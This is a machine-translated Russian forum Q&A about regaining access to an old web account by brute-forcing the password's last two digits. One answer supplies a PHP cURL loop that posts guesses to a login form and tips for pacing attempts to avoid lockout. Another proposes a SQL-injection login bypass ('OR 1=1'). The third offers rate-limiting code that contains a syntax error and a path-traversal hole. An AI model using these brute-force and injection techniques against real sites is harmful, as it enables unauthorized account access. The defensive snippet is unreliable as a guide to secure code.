Форма цикла с взломом пароля - PullRequest
0 голосов
/ 28 января 2012

У меня есть несколько хакерский вопрос, и я заинтригован тем, как бы я сделал следующее (если вообще возможно):

В основном, чтобы дать немного контекста, у меня была учетная запись насайт несколько лет назад и имел имя пользователя и пароль для входа на портал и просмотра всей моей информации / стенограммы / и т.д.Я не подключался с тех пор, как прекратил использовать его пару лет назад, потому что хотел просмотреть информацию, которую я представил.Проблема в том, что я больше не могу вспомнить пароль (в определенной степени).И если я пойду по маршруту «забыл пароль», он будет связан с действительно старым адресом горячей почты, который был деактивирован некоторое время назад.

Я знаю, что это повлечет за собой взлом пароля, и я неЯ хочу поговорить о том, как обмануть людей и получить доступ к их учетным записям, но это мое, и мне любопытно, возможно ли это.

Дело в том, что у меня есть имя пользователя и у меня большая часть пароля, всекроме двух последних цифр.Я не могу вспомнить их.Я знаю, что я добавил 2 цифры в конце, потому что я был вынужден (между 10 и 99).

Так, скажем, мое имя пользователя было «johnsmith», а мой пароль был «eatdog ##», есть ли способсоздать форму и зацикливать ее снова и снова, пока пароль не будет угадан правильно?Я знаю, что у них может быть какая-то защита от количества попыток за «любое количество времени».

Спасибо.

Ответы [ 3 ]

2 голосов
/ 28 января 2012

Учитывая, что вам нужно всего лишь перебрать <100 различных возможностей, это должно быть взломано. </p>

Просмотрите исходный HTML-код страницы, содержащей форму входа в систему, и посмотрите, на какую страницу отправляется форма.Предположим, это action.php.В исходном HTML-коде вы увидите нечто подобное:

<form id="login" action="action.php" method="post">

Используйте cURL , чтобы сделать запрос POST на action.php с вашим именем пользователя и паролем в качестве POSTпараметры (включая все остальное, что форма публикует).Делайте это в цикле с изменением пароля на каждой итерации.

Ваш код должен выглядеть примерно так (в PHP)

$username = "johnsmith";
$pass_base = "eatdog";
$url = "the url the form submits to";
$failed = ""; //the response returned by the server when login fails

for ($i=10; $i < 100; $i++)
{
    $password = $pass_base . $i;

    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

    //set the POST parameters

    $data = curl_exec($ch);
    curl_close($ch);    

    if ($data != $failed)   //analyze the returned data
    {
        echo $password;     //this is your password
        break;
    }   
}

Приведенный выше код является сценарием PHP.Это не будет работать как есть.Я только предоставил мясо сценария.Возможно, вам придется выполнить некоторую базовую инициализацию - надеюсь, вы немного знакомы с PHP.

Вы можете запустить его с локального хоста (установить WAMP ).Я предполагаю, что для прохождения всех паролей не потребуется более 5 минут.

Это будет работать только в том случае, если процесс входа в систему не предназначен специально для остановки атак методом перебора.Если он блокирует вас на x мин после y неудачных попыток входа в систему, вам придется приостанавливать PHP-скрипт после каждых y-1 попыток в течение некоторого времени, чтобы не вызывать блокировку.

Если он начинает запрашивать капчувышеуказанный скрипт не будет работать.

0 голосов
/ 28 января 2012

Если они не добавили mysql_real_escape_string, вы можете войти в систему, введя свое имя пользователя и в качестве пароля введите пробел, а затем

"ИЛИ 1 = 1

Двойные кавычки установят пустую ячейку для пароля. Или заставит запрос mysql проверить второй оператор, если пароль не вернет правильное значение, он не будет.

И, таким образом, 1 всегда равно 1, и вам будет разрешено войти в систему.

Можно подумать, что большинство веб-сайтов используют простую функцию, поэтому она может не работать, но стоит одной попытки входа в систему.

0 голосов
/ 28 января 2012

Если вы были владельцем сайта и хотели что-то с этим сделать, то действительно грубый способ защиты от этого был бы что-то вроде (с использованием PHP):

$count = file_get_contents('/some/writable/dir/'$_POST['username']);
if (!$count) {
    $count = 0;
}
if ($count > 5) {
    print "Naughty!"; // or add a CAPTCHA or something
    exit;
}
$success = checkLogin($_POST['username'], $_POST['password']);
if ($success) {
    // set cookies, send them away with header('location:blah.php'); exit
} else {
    $count ++;
    file_put_contents('/some/writable/dir/'$_POST['username'], $count);
}

И установите задание cron для удаления всех файлов в / some / writable / dir / каждые пять минут или около того.

Как я уже сказал, он довольно грубый, но он должен дать вам представление о том, как начать добавлять броню на ваш сайт.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...